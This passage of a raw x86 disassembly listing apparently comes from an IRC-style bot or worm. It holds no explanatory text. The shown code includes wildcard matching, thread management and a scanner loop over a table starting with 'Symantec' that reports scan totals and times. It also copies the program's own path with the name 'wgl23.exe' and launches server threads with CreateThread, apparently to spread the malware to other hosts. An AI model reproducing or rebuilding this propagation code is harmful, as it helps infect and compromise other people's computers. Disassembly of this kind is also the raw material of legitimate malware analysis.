		jmp	short loc_40BA7B
; ---------------------------------------------------------------------------

loc_40BA61:				; CODE XREF: sub_40BA1C+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h

loc_40BA7B:				; CODE XREF: sub_40BA1C+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40BA9B
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+arg_4]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		add	esp, 14h

loc_40BA9B:				; CODE XREF: sub_40BA1C+63j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		leave
		retn
sub_40BA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BAAA	proc near		; CODE XREF: sub_4019E7+159p
					; sub_40B7F9+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_45713C[eax], ecx
		mov	dword_457128[eax], ecx
		mov	dword_45712C[eax], ecx
		mov	dword_457130[eax], ecx
		mov	dword_457134[eax], ecx
		mov	dword_457138[eax], ecx
		mov	byte ptr dword_456F28[eax], cl
		mov	byte_457140[eax], cl
		retn
sub_40BAAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAE7	proc near		; CODE XREF: sub_401CC7+7F34p
					; sub_40BC15+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40BAF1:				; CODE XREF: sub_40BAE7+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40BB51
		cmp	eax, 1
		jnz	short loc_40BB51
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40BB51
		cmp	cl, 2Ah
		jz	short loc_40BB38
		cmp	cl, 3Fh
		jz	short loc_40BB1B
		cmp	cl, 5Bh
		jz	short loc_40BB20
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40BB1B:				; CODE XREF: sub_40BAE7+26j
		inc	[ebp+arg_4]
		jmp	short loc_40BB4B
; ---------------------------------------------------------------------------

loc_40BB20:				; CODE XREF: sub_40BAE7+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40BB7D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40BB4B
; ---------------------------------------------------------------------------

loc_40BB38:				; CODE XREF: sub_40BAE7+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40BC15
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40BB4B:				; CODE XREF: sub_40BAE7+37j
					; sub_40BAE7+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40BAF1
; ---------------------------------------------------------------------------

loc_40BB51:				; CODE XREF: sub_40BAE7+Ej
					; sub_40BAE7+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40BB61
		cmp	eax, 1
		jnz	short loc_40BB78
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40BB51
; ---------------------------------------------------------------------------

loc_40BB61:				; CODE XREF: sub_40BAE7+6Dj
		cmp	eax, 1
		jnz	short loc_40BB78
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40BB78
		cmp	byte ptr [esi],	0
		jnz	short loc_40BB78
		push	1
		pop	eax
		jmp	short loc_40BB7A
; ---------------------------------------------------------------------------

loc_40BB78:				; CODE XREF: sub_40BAE7+72j
					; sub_40BAE7+7Dj ...
		xor	eax, eax

loc_40BB7A:				; CODE XREF: sub_40BAE7+8Fj
		pop	esi
		pop	ebp
		retn
sub_40BAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB7D	proc near		; CODE XREF: sub_40BAE7+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40BB9E
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40BB9E:				; CODE XREF: sub_40BB7D+19j
		push	ebx
		push	esi

loc_40BBA0:				; CODE XREF: sub_40BB7D+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40BBAE
		cmp	[ebp+var_4], eax
		jnz	short loc_40BBFA

loc_40BBAE:				; CODE XREF: sub_40BB7D+2Aj
		test	edi, edi
		jnz	short loc_40BBEF
		cmp	bl, 2Dh
		jnz	short loc_40BBE3
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40BBE3
		cmp	al, 5Dh
		jz	short loc_40BBE3
		cmp	[ebp+var_4], edi
		jnz	short loc_40BBE3
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40BBEF
		cmp	bl, al
		jg	short loc_40BBEF
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40BBEF
; ---------------------------------------------------------------------------

loc_40BBE3:				; CODE XREF: sub_40BB7D+38j
					; sub_40BB7D+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40BBEF
		push	1
		pop	edi

loc_40BBEF:				; CODE XREF: sub_40BB7D+33j
					; sub_40BB7D+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40BBA0
; ---------------------------------------------------------------------------

loc_40BBFA:				; CODE XREF: sub_40BB7D+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40BC07
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40BC07:				; CODE XREF: sub_40BB7D+82j
		cmp	edi, eax
		jnz	short loc_40BC10
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40BC10:				; CODE XREF: sub_40BB7D+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40BB7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC15	proc near		; CODE XREF: sub_40BAE7+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40BC31:				; CODE XREF: sub_40BC15+3Aj
		cmp	[eax], bl
		jz	short loc_40BC51
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40BC46
		cmp	cl, 2Ah
		jnz	short loc_40BC51
		cmp	cl, 3Fh
		jnz	short loc_40BC49

loc_40BC46:				; CODE XREF: sub_40BC15+25j
		inc	eax
		mov	[edi], eax

loc_40BC49:				; CODE XREF: sub_40BC15+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40BC31
; ---------------------------------------------------------------------------

loc_40BC51:				; CODE XREF: sub_40BC15+1Ej
					; sub_40BC15+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40BC5C
		inc	dword ptr [esi]
		jmp	short loc_40BC51
; ---------------------------------------------------------------------------

loc_40BC5C:				; CODE XREF: sub_40BC15+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40BC7D
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40BC6E
		xor	eax, eax
		jmp	short loc_40BCDD
; ---------------------------------------------------------------------------

loc_40BC6E:				; CODE XREF: sub_40BC15+53j
		cmp	cl, bl
		jnz	short loc_40BC7D
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40BC7D
		push	1
		pop	eax
		jmp	short loc_40BCDD
; ---------------------------------------------------------------------------

loc_40BC7D:				; CODE XREF: sub_40BC15+4Dj
					; sub_40BC15+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40BAE7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BCC7

loc_40BC8B:				; CODE XREF: sub_40BC15+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40BC8F:				; CODE XREF: sub_40BC15+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40BCA7
		cmp	cl, 5Bh
		jz	short loc_40BCA7
		cmp	dl, bl
		jz	short loc_40BCA7
		inc	eax
		mov	[edi], eax
		jmp	short loc_40BC8F
; ---------------------------------------------------------------------------

loc_40BCA7:				; CODE XREF: sub_40BC15+82j
					; sub_40BC15+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40BCBE
		push	eax
		push	dword ptr [esi]
		call	sub_40BAE7
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40BCC3
; ---------------------------------------------------------------------------

loc_40BCBE:				; CODE XREF: sub_40BC15+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40BCC3:				; CODE XREF: sub_40BC15+A7j
		cmp	eax, ebx
		jnz	short loc_40BC8B

loc_40BCC7:				; CODE XREF: sub_40BC15+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40BCDA
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40BCDA
		mov	[ebp+var_4], 1

loc_40BCDA:				; CODE XREF: sub_40BC15+B6j
					; sub_40BC15+BCj
		mov	eax, [ebp+var_4]

loc_40BCDD:				; CODE XREF: sub_40BC15+57j
					; sub_40BC15+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BC15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BCE2(int,char *Str,int)

sub_40BCE2	proc near		; CODE XREF: sub_401CC7+2AEAp

Source		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_4495D8 ; "-"
		push	eax		; Dest
		xor	ebx, ebx
		call	_sprintf
		cmp	dword_449248, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40BD54
		push	esi
		mov	esi, offset dword_449250

loc_40BD15:				; CODE XREF: sub_40BCE2+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40BD4A
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4495F8 ; " "
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esp, 1Ch

loc_40BD4A:				; CODE XREF: sub_40BCE2+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40BD15
		pop	esi

loc_40BD54:				; CODE XREF: sub_40BCE2+2Bj
		push	dword_4E3F2C
		call	sub_41B7A7
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+Source]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40BCE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BDB1(int,char *Str,int)

sub_40BDB1	proc near		; CODE XREF: sub_401CC7+2AD4p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4E6D40
		mov	ecx, dword_4E6D3C
		push	esi
		push	dword_4E3F2C
		lea	esi, [ecx+eax]
		call	sub_41B7A7
		pop	ecx
		push	eax
		push	esi
		push	dword_4E6D40
		lea	eax, [ebp+Dest]
		push	dword_4E6D3C
		push	offset asc_449618 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40BDB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BE1D(int,char *Str,int)

sub_40BE1D	proc near		; CODE XREF: sub_401CC7+2ABEp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4E3F2C
		call	sub_41B7A7
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	dword_4E6F9C
		push	offset asc_449660 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 28h
		leave
		retn
sub_40BE1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BE72(int,char *Str,int)

sub_40BE72	proc near		; CODE XREF: sub_401CC7+2AA8p

Source		= byte ptr -1000h
Dest		= byte ptr -800h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	__alloca_probe
		push	edi
		lea	eax, [ebp+Dest]
		push	offset asc_44968C ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	dword_449248, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BEDE
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40BEA7:				; CODE XREF: sub_40BE72+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+Source]
		push	offset asc_4496A8 ; " "
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BEA7
		pop	esi

loc_40BEDE:				; CODE XREF: sub_40BE72+2Dj
		push	dword_4E3F2C
		call	sub_41B7A7
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BE72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF39	proc near		; DATA XREF: sub_401CC7+30F5o

Dest		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
Format		= byte ptr -134h
Str		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Format]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+Format]
		push	eax
		call	dword_4E4260	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_449248, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40C09B
		mov	ebx, offset dword_449248
		mov	eax, ebx

loc_40BF8A:				; CODE XREF: sub_40BF39+15Cj
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40C71F
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40C08B
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+Format]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4496C8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_24]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 2Ch
		lea	eax, [ebp+Format]
		push	eax		; Format
		lea	eax, [ebp+var_1EC]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+var_15C]
		pop	ecx
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_A4], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_A4]
		jnz	short loc_40C026
		lea	eax, [ebp+Str]

loc_40C026:				; CODE XREF: sub_40BF39+E5j
		push	eax		; Format
		lea	eax, [ebp+var_1DC]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi

loc_40C08B:				; CODE XREF: sub_40BF39+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BF8A

loc_40C09B:				; CODE XREF: sub_40BF39+44j
		push	[ebp+var_4]
		lea	eax, [ebp+Format]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4496F8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_24]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_18]
		call	sub_40BAAA
		add	esp, 2Ch
		push	edi
		call	ds:dword_4F63D4	; ExitThread
sub_40BF39	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C0EE(int,char *Str,int,int)

sub_40C0EE	proc near		; CODE XREF: sub_401CC7+240Ep

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jle	short loc_40C12A
		mov	eax, [ebp+arg_C]
		push	dword_4E4380[eax*8]
		call	dword_4E42AC	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44972C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40C13D
; ---------------------------------------------------------------------------

loc_40C12A:				; CODE XREF: sub_40C0EE+13j
		lea	eax, [ebp+Dest]
		push	offset asc_449748 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40C13D:				; CODE XREF: sub_40C0EE+3Aj
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D6C
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 18h
		leave
		retn
sub_40C0EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40C165(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_40C165	proc near		; CODE XREF: sub_40CBA1+4Fp

var_210		= dword	ptr -210h
Source		= byte ptr -204h
var_4		= byte ptr -4
Format		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C637
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_449254[eax], ebx
		jz	loc_40C637
		push	5
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jnz	loc_40C3EC
		mov	eax, dword_440078
		push	edi
		mov	esi, offset dword_4E643C
		push	104h
		push	esi
		push	ebx
		mov	dword_4E664C, eax
		mov	dword_4E6648, ebx
		call	ds:dword_4F6378	; GetModuleFileNameA
		mov	edi, offset Str	; "wgl23.exe"
		push	103h		; Count
		push	edi		; Source
		push	offset byte_4E6540 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E6438, eax
		mov	eax, [ebp+arg_138]
		push	7Fh		; Count
		mov	dword_4E66D0, eax
		jnz	short loc_40C218
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4E6650 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E66D4, 1
		jmp	short loc_40C232
; ---------------------------------------------------------------------------

loc_40C218:				; CODE XREF: sub_40C165+94j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4E6650 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E66D4, ebx

loc_40C232:				; CODE XREF: sub_40C165+B1j
		push	esi
		lea	eax, [ebp+Source]
		push	dword_4E664C
		push	offset asc_449768 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	5		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	dword_4E6644, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E6438
		push	offset sub_41224F
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, dword_4E6644
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40C2A0

loc_40C28E:				; CODE XREF: sub_40C165+139j
		cmp	dword_4E66D8, ebx
		jnz	short loc_40C2BB
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40C28E
; ---------------------------------------------------------------------------

loc_40C2A0:				; CODE XREF: sub_40C165+127j
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_44979C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40C2BB:				; CODE XREF: sub_40C165+12Fj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		mov	eax, dword_4E3F28
		mov	esi, offset dword_4E66E4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4E68F4, eax
		mov	dword_4E68F0, ebx
		call	ds:dword_4F6378	; GetModuleFileNameA
		push	103h		; Count
		push	edi		; Source
		push	offset byte_4E67E8 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4E66E0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4E6978, eax
		push	7Fh		; Count
		jnz	short loc_40C33C
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4E68F8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E697C, 1
		jmp	short loc_40C356
; ---------------------------------------------------------------------------

loc_40C33C:				; CODE XREF: sub_40C165+1B8j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4E68F8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E697C, ebx

loc_40C356:				; CODE XREF: sub_40C165+1D5j
		push	esi
		lea	eax, [ebp+Source]
		push	dword_4E68F4
		push	offset asc_4497D0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	4		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 1Ch
		mov	dword_4E68EC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E66E0
		push	offset sub_40F43A
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, dword_4E68EC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40C3C4

loc_40C3B2:				; CODE XREF: sub_40C165+25Dj
		cmp	dword_4E6980, ebx
		jnz	short loc_40C3DF
		push	32h
		call	ds:dword_4F6380	; Sleep
		jmp	short loc_40C3B2
; ---------------------------------------------------------------------------

loc_40C3C4:				; CODE XREF: sub_40C165+24Bj
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_449804 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch

loc_40C3DF:				; CODE XREF: sub_40C165+253j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_415C77
		pop	ecx

loc_40C3EC:				; CODE XREF: sub_40C165+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_44925C[ecx], ebx
		jz	loc_40C515
		push	7
		call	sub_40B9D6
		test	eax, eax
		pop	ecx
		jnz	loc_40C50F
		mov	eax, dword_4E6F94
		cmp	[ebp+arg_90], bl
		mov	dword_4E63A4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4E6398, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4E63A0, ebx
		mov	dword_4E6428, eax
		push	7Fh		; Count
		jnz	short loc_40C460
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4E63A8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E642C, 1
		jmp	short loc_40C47A
; ---------------------------------------------------------------------------

loc_40C460:				; CODE XREF: sub_40C165+2DCj
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4E63A8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4E642C, ebx

loc_40C47A:				; CODE XREF: sub_40C165+2F9j
		push	dword_4E63A4
		lea	eax, [ebp+Source]
		push	offset asc_449838 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	7		; int
		push	eax		; Source
		call	sub_40B78E
		add	esp, 18h
		mov	dword_4E639C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4E6398
		push	offset sub_40F198
		push	ebx
		push	ebx
		call	ds:dword_4F6384	; CreateThread
		mov	ecx, dword_4E639C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45713C[ecx], eax
		jz	short loc_40C4E7

